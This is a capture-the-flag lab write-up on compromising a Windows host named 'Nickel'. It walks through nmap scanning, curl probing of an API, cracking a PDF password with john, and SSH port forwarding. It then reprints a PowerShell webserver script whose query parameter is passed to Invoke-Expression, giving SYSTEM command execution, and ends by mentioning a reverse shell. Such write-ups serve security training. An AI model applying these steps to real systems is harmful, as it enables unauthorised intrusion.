This lab demonstrates exploiting a credential disclosure in a web application to gain an initial foothold via SSH. Learners will extract credentials from a password-protected PDF to uncover a hidden administrative service, then bypass firewall protections using SSH port forwarding. The lab concludes with executing commands as SYSTEM and deploying a reverse shell, showcasing advanced enumeration, port forwarding, and privilege escalation techniques.
ports=$(nmap -p- --min-rate=1000 -T4 $VICTIM| grep '^[0-9]'| cut -d '/' -f 1| tr '\n'','| sed s/,$//)└─$ nmap -p$ports -sC -sV $VICTIMPORT STATE SERVICE VERSION
21/tcp open ftp FileZilla ftpd 0.9.60 beta
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
22/tcp open ssh OpenSSH for_Windows_8.1 (protocol 2.0)| ssh-hostkey:
|3072 86:84:fd:d5:43:27:05:cf:a7:f2:e9:e2:75:70:d5:f3 (RSA)|256 9c:93:cf:48:a9:4e:70:f4:60:de:e1:a9:c2:c0:b6:ff (ECDSA)|_ 256 00:4e:d7:3b:0f:9f:e3:74:4d:04:99:0b:b1:8b:de:a5 (ED25519)135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=nickel
| Not valid before: 2025-12-06T11:11:21
|_Not valid after: 2026-06-07T11:11:21
| rdp-ntlm-info:
| Target_Name: NICKEL
| NetBIOS_Domain_Name: NICKEL
| NetBIOS_Computer_Name: NICKEL
| DNS_Domain_Name: nickel
| DNS_Computer_Name: nickel
| Product_Version: 10.0.18362
|_ System_Time: 2026-03-04T13:42:49+00:00
|_ssl-date: 2026-03-04T13:43:54+00:00; +13s from scanner time.
5040/tcp open unknown
7680/tcp open pando-pub?
8089/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-title: Site doesn't have a title.
|_http-server-header: Microsoft-HTTPAPI/2.0
33333/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Site doesn't have a title.
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|WAP
Running (JUST GUESSING): Microsoft Windows 10(97%), Linux 2.4.X|2.6.X (89%)OS CPE: cpe:/o:microsoft:windows_10 cpe:/o:linux:linux_kernel:2.4 cpe:/o:linux:linux_kernel:2.6.22 cpe:/o:linux:linux_kernel:2.4.18
Aggressive OS guesses: Microsoft Windows 101909 - 2004(97%), Microsoft Windows 101903 - 21H1 (92%), Microsoft Windows 101709 - 21H2 (90%), Microsoft Windows 101909(90%), OpenWrt 0.9 - 7.09 (Linux 2.4.30 - 2.4.34)(89%), OpenWrt White Russian 0.9 (Linux 2.4.30)(89%), OpenWrt Kamikaze 7.09 (Linux 2.6.22)(89%), Linux 2.4.18 (89%), Microsoft Windows 10 21H2 (87%)No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-03-04T13:42:51
|_ start_date: N/A
|_clock-skew: mean: 12s, deviation: 0s, median: 12s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Looking at ports open we see two web services. Browsing the first gives us this page.
Button don’t seem to do much but looking at the HTML code we can see the connection with the service running on port 33333 as it acts as the API for it.The buttons wouldn’t work since the IP is wrong but we get the idea and the endpoints that should work. So we are going to test them.
└─$ curl -X POST http://$VICTIM:33333/list-active-nodes
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Length Required</TITLE>
<META HTTP-EQUIV="Content-Type"Content="text/html; charset=us-ascii"></HEAD>
<BODY><h2>Length Required</h2>
<hr><p>HTTP Error 411. The request must be chunked or have a content length.</p>
</BODY></HTML>
Here we get the error that we haven’t included a required header on our request.
1
2
3
4
5
└─$ curl -X POST http://$VICTIM:33333/list-active-nodes -H "Content-length: 0"<p>Not Implemented</p>
└─$ curl -X POST http://$VICTIM:33333/list-current-deployments -H "Content-length: 0"<p>Not Implemented</p>
We get a response that these endpoints haven’t been implemented which is strange but we get our luck on the last one!
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt pdf_hash
Using default input encoding: UTF-8
Loaded 1 password hash(PDF [MD5 SHA2 RC4/AES 32/64])Cost 1(revision) is 4for all loaded hashes
Will run 20 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
ariah4168 (?)1g 0:00:00:10 DONE (2026-03-04 16:18) 0.09803g/s 980831p/s 980831c/s 980831C/s ariana2005..ari7ana
Use the "--show --format=PDF" options to display all of the cracked passwords reliably
Session completed.
From the PDF we see a backup system, a NAS, but what is more interesting is the endpoint for command execution.
The thing is that we don’t know where these services are running. Let’s see the LISTENING ports on the server.
So we clearly see two TCP ports listening only to localhost. We can try to forward these to our ATTACKER host and see what we hit.
Tip
If we remember from earlier from the running processes we would have a PS scripts running under C:\Windows\System32. These were basically Powershell webserver scripts that are doing some logic. In these we would be able to see all the endpoints and their actions. We had found three of these for each different port.
Let’s first look at the PS script running on port 80.
PS C:\Windows\System32>cat ws80.ps1Param([string]$BINDING='http://127.0.0.1:80/',[string]$BASEDIR='C:\temp\')# If empty, use current filesystem path as base path for static contentif([string]::IsNullOrEmpty($BASEDIR)){$BASEDIR=(Get-Location-PSProviderFileSystem).ToString()}# Convert to absolute path$BASEDIR=$ExecutionContext.SessionState.Path.GetUnresolvedProviderPathFromPSPath($BASEDIR)# HTML answer templates for specific calls; placeholders: !RESULT, !FORMFIELD, !PROMPT, etc.$HTMLRESPONSECONTENTS=@{'GET /'=@"
<!doctype html>
<html>
<body>
dev-api started at $(Get-Date-Formats) <pre>!RESULT</pre>
</body>
</html>
"@}# Set navigation header line for all web pages (optional)# $HEADERLINE = "<p><a href='/'>Command execution</a> <a href='/script'>Execute script</a> <a href='/download'>Download file</a> <a href='/upload'>Upload file</a> <a href='/log'>Web logs</a> <a href='/starttime'>Webserver start time</a> <a href='/time'>Current time</a> <a href='/beep'>Beep</a> <a href='/quit'>Stop webserver</a></p>""$(Get-Date-Formats) Starting powershell webserver..."$LISTENER=New-ObjectSystem.Net.HttpListener$LISTENER.Prefixes.Add($BINDING)$LISTENER.Start()$Error.Clear()try{"$(Get-Date-Formats) Powershell webserver started."$WEBLOG="$(Get-Date-Formats) Powershell webserver started.`n"while($LISTENER.IsListening){# Analyze incoming request$CONTEXT=$LISTENER.GetContext()$REQUEST=$CONTEXT.Request$RESPONSE=$CONTEXT.Response$RESPONSEWRITTEN=$false# Log to console"$(Get-Date-Formats)$($REQUEST.RemoteEndPoint.Address)$($REQUEST.HttpMethod)$($REQUEST.Url.PathAndQuery)"# Log to variable$WEBLOG+="$(Get-Date-Formats)$($REQUEST.RemoteEndPoint.Address)$($REQUEST.HttpMethod)$($REQUEST.Url.PathAndQuery)`n"# Fixed coding for the request?$RECEIVED='{0} {1}'-f$REQUEST.HttpMethod,$REQUEST.Url.LocalPath$HTMLRESPONSE=$HTMLRESPONSECONTENTS[$RECEIVED]$RESULT=''switch($RECEIVED){'GET /'{# Read raw query string (without leading '?')$FORMFIELD=[uri]::UnescapeDataString(($REQUEST.Url.Query-replace'^\?',''))if(-not[string]::IsNullOrEmpty($FORMFIELD)){try{$RESULT=Invoke-Expression-EASilentlyContinue$FORMFIELD2>$null|Out-String}catch{# Ignore; some errors won't throw exceptions}if($Error.Count-gt0){$RESULT+="`nError while executing '$FORMFIELD'`n`n"$RESULT+=$Error[0]$Error.Clear()}}}{$_-like'* /download'}{# Download file (GET or POST supported)# Is POST data in the request?if($REQUEST.HasEntityBody){$READER=New-ObjectSystem.IO.StreamReader($REQUEST.InputStream,$REQUEST.ContentEncoding)$DATA=$READER.ReadToEnd()$READER.Close()$REQUEST.InputStream.Close()# Parse URL-encoded body into a hashtable$HEADER=@{}$DATA.Split('&')|ForEach-Object{$k=[uri]::UnescapeDataString(($_.Split('=')[0]-replace'\+',' '))$v=[uri]::UnescapeDataString(($_.Split('=')[1]-replace'\+',' '))$HEADER.Add($k,$v)}# Read header 'filepath'$FORMFIELD=$HEADER.Item('filepath')# Remove surrounding quotes (Test-Path doesn't like them)$FORMFIELD=$FORMFIELD-replace'^`"',''-replace'`"$',''}if(-not[string]::IsNullOrEmpty($FORMFIELD)){if(Test-Path$FORMFIELD-PathTypeLeaf){try{$BUFFER=[System.IO.File]::ReadAllBytes($FORMFIELD)$RESPONSE.ContentLength64=$BUFFER.Length$RESPONSE.SendChunked=$false$RESPONSE.ContentType='application/octet-stream'$FILENAME=Split-Path-Leaf$FORMFIELD$RESPONSE.AddHeader('Content-Disposition',"attachment; filename=$FILENAME")$RESPONSE.AddHeader('Last-Modified',[IO.File]::GetLastWriteTime($FORMFIELD).ToString('r'))$RESPONSE.AddHeader('Server','Powershell Webserver/1.2 on ')$RESPONSE.OutputStream.Write($BUFFER,0,$BUFFER.Length)$RESPONSEWRITTEN=$true}catch{# Ignore; handle via $Error after}if($Error.Count-gt0){$RESULT+="`nError while downloading '$FORMFIELD'`n`n"$RESULT+=$Error[0]$Error.Clear()}}else{$RESULT="File $FORMFIELD not found"}}# Preset form value with file path for the caller's convenience$HTMLRESPONSE=$HTMLRESPONSE-replace'!FORMFIELD',$FORMFIELDbreak}'GET /upload'{# Present upload formbreak}'POST /upload'{# Upload fileif($REQUEST.HasEntityBody){$RESULT='Received corrupt or incomplete form data'if($REQUEST.ContentType){# Retrieve boundary marker for multipart separation$BOUNDARY=$nullif($REQUEST.ContentType-match'boundary=(.*);'){$BOUNDARY='--'+$Matches[1]}elseif($REQUEST.ContentType-match'boundary=(.*)$'){$BOUNDARY='--'+$Matches[1]}if($BOUNDARY){$READER=New-ObjectSystem.IO.StreamReader($REQUEST.InputStream,$REQUEST.ContentEncoding)$DATA=$READER.ReadToEnd()$READER.Close()$REQUEST.InputStream.Close()$FILENAME=''$SOURCENAME=''$FILEDATA=''# Separate headers by boundary string$DATA-replace"$BOUNDARY--\r\n","$BOUNDARY`r`n--"-split"$BOUNDARY\r\n"|ForEach-Object{if(($_-eq'')-or($_-eq'--')){return}# Only if well-defined header (metadata/data separation)$splitIdx=$_.IndexOf("`r`n`r`n")if($splitIdx-le0){return}$META=$_.Substring(0,$splitIdx)$BODY=$_.Substring($splitIdx+4)-replace"`r`n$",''if($META-match'Content-Disposition: form-data; name=(.*);'){$HEADERNAME=($Matches[1]-replace'"','')if($HEADERNAME-eq'filedata'){if($META-match'filename=(.*)'){$SOURCENAME=($Matches[1]-replace"`r`n$",''-replace"`r$",''-replace'"','')$FILEDATA=$BODY}}elseif($HEADERNAME-eq'filepath'){$FILENAME=($BODY-replace"`r`n$",''-replace"`r$",''-replace'"','')}}}if($FILENAME-ne''){if($SOURCENAME-ne''){# Check/construct target filenameif(Test-Path$FILENAME-PathTypeContainer){$TARGETNAME=Join-Path$FILENAME-ChildPath(Split-Path$SOURCENAME-Leaf)}else{$TARGETNAME=$FILENAME}try{# Save file with same encoding as received[IO.File]::WriteAllText($TARGETNAME,$FILEDATA,$REQUEST.ContentEncoding)}catch{# Ignore; handle via $Error after}if($Error.Count-gt0){$RESULT+="`nError saving '$TARGETNAME'`n`n"$RESULT+=$Error[0]$Error.Clear()}else{$RESULT="File $SOURCENAME successfully uploaded as $TARGETNAME"}}else{$RESULT='No file data received'}}else{$RESULT='Missing target file name'}}}}else{$RESULT='No client data received'}break}'GET /log'{$RESULT=$WEBLOGbreak}'GET /time'{$RESULT=Get-Date-Formatsbreak}'GET /starttime'{# Already in templatebreak}'GET /beep'{[Console]::Beep(800,300)# or "`a" or [char]7break}'GET /quit'{break}'GET /exit'{break}default{# Unknown command: check if path maps to a directory or file in $BASEDIR$CHECKDIR=$BASEDIR.TrimEnd('/\')+$REQUEST.Url.LocalPath$CHECKFILE=''if(Test-Path$CHECKDIR-PathTypeContainer){# Directory: try common index files$IDXLIST='/index.htm','/index.html','/default.htm','/default.html'foreach($IDXNAMEin$IDXLIST){$candidate=$CHECKDIR.TrimEnd('/\')+$IDXNAMEif(Test-Path$candidate-PathTypeLeaf){$CHECKFILE=$candidatebreak}}if($CHECKFILE-eq''){# Generate directory listing$HTMLRESPONSE=@"
<!doctype html>
<html>
<head>
<title>$($REQUEST.Url.LocalPath)</title>
<meta charset="utf-8">
</head>
<body>
<h1>$($REQUEST.Url.LocalPath)</h1>
<hr>
<pre>
"@if($REQUEST.Url.LocalPath-notin@('','/','`"','.')){$PARENTDIR=(Split-Path$REQUEST.Url.LocalPath-Parent)-replace'\\','/'if($PARENTDIR.IndexOf('/')-ne0){$PARENTDIR='/'+$PARENTDIR}$HTMLRESPONSE+="<pre><a href=""$PARENTDIR"">[To Parent Directory]</a><br><br>"}$ENTRIES=Get-ChildItem-EASilentlyContinue-Path$CHECKDIR# Directories$ENTRIES|Where-Object{$_.PSIsContainer}|ForEach-Object{$HTMLRESPONSE+="$($_.LastWriteTime) <dir> <a href=""$(Join-Path$REQUEST.Url.LocalPath$_.Name)"">$($_.Name)</a><br>"}# Files$ENTRIES|Where-Object{-not$_.PSIsContainer}|ForEach-Object{$HTMLRESPONSE+="$($_.LastWriteTime)$("{0,10}"-f$_.Length) <a href=""$(Join-Path$REQUEST.Url.LocalPath$_.Name)"">$($_.Name)</a><br>"}$HTMLRESPONSE+='</pre><hr></body></html>'}}else{# Not a directory: try a fileif(Test-Path$CHECKDIR-PathTypeLeaf){$CHECKFILE=$CHECKDIR}}if($CHECKFILE-ne''){# Static content availabletry{$BUFFER=[System.IO.File]::ReadAllBytes($CHECKFILE)$RESPONSE.ContentLength64=$BUFFER.Length$RESPONSE.SendChunked=$false$EXTENSION=[IO.Path]::GetExtension($CHECKFILE)if($MIMEHASH.ContainsKey($EXTENSION)){$RESPONSE.ContentType=$MIMEHASH.Item($EXTENSION)}else{$RESPONSE.ContentType='application/octet-stream'$FILENAME=Split-Path-Leaf$CHECKFILE$RESPONSE.AddHeader('Content-Disposition',"attachment; filename=$FILENAME")}$RESPONSE.AddHeader('Last-Modified',[IO.File]::GetLastWriteTime($CHECKFILE).ToString('r'))$RESPONSE.AddHeader('Server','Powershell Webserver/1.2 on ')$RESPONSE.OutputStream.Write($BUFFER,0,$BUFFER.Length)$RESPONSEWRITTEN=$true}catch{# Ignore; handle via $Error after (if needed)}}else{# No file to serve foundif(-not(Test-Path$CHECKDIR-PathTypeContainer)){$RESPONSE.StatusCode=404$HTMLRESPONSE='<!doctype html><html><body>Incorrect Parameter</body></html>'}}}}# Only send response if not already doneif(-not$RESPONSEWRITTEN){# Insert header line string into HTML template$HTMLRESPONSE=$HTMLRESPONSE-replace'!HEADERLINE',$HEADERLINE# Insert result string into HTML template$HTMLRESPONSE=$HTMLRESPONSE-replace'!RESULT',$RESULT# Return HTML answer to caller$BUFFER=[Text.Encoding]::UTF8.GetBytes($HTMLRESPONSE)$RESPONSE.ContentLength64=$BUFFER.Length$RESPONSE.AddHeader('Last-Modified',[datetime]::Now.ToString('r'))$RESPONSE.AddHeader('Server','Powershell Webserver/1.2 on ')$RESPONSE.OutputStream.Write($BUFFER,0,$BUFFER.Length)}# Finish answer to client$RESPONSE.Close()# Received command to stop webserver?if($RECEIVED-in@('GET /exit','GET /quit')){break}}}finally{$LISTENER.Close()"$(Get-Date-Formats) Powershell webserver stopped."}
From it we get the sense that there is no command execution endpoint since the endpoint /script is not listed. But the notes from the PDF mention that /? will do so let’s test.
Tip
It actually will execute commands on the endpoint /? becase it runs it with Invoke-Expression $FORMFIELD!
We forward port 80 with ssh.
1
ssh ariah@$VICTIM -L 80:127.0.0.1:80
And now let’s browse the endpoint and see if we can execute commands.
Boom we are NT Authority\SYSTEM so we basically have rooted the host. Now let’s spawn a reverse shell for this.
We are going to use Base64 encoded Powershell rev shell from here and we are going to get our reverse shell.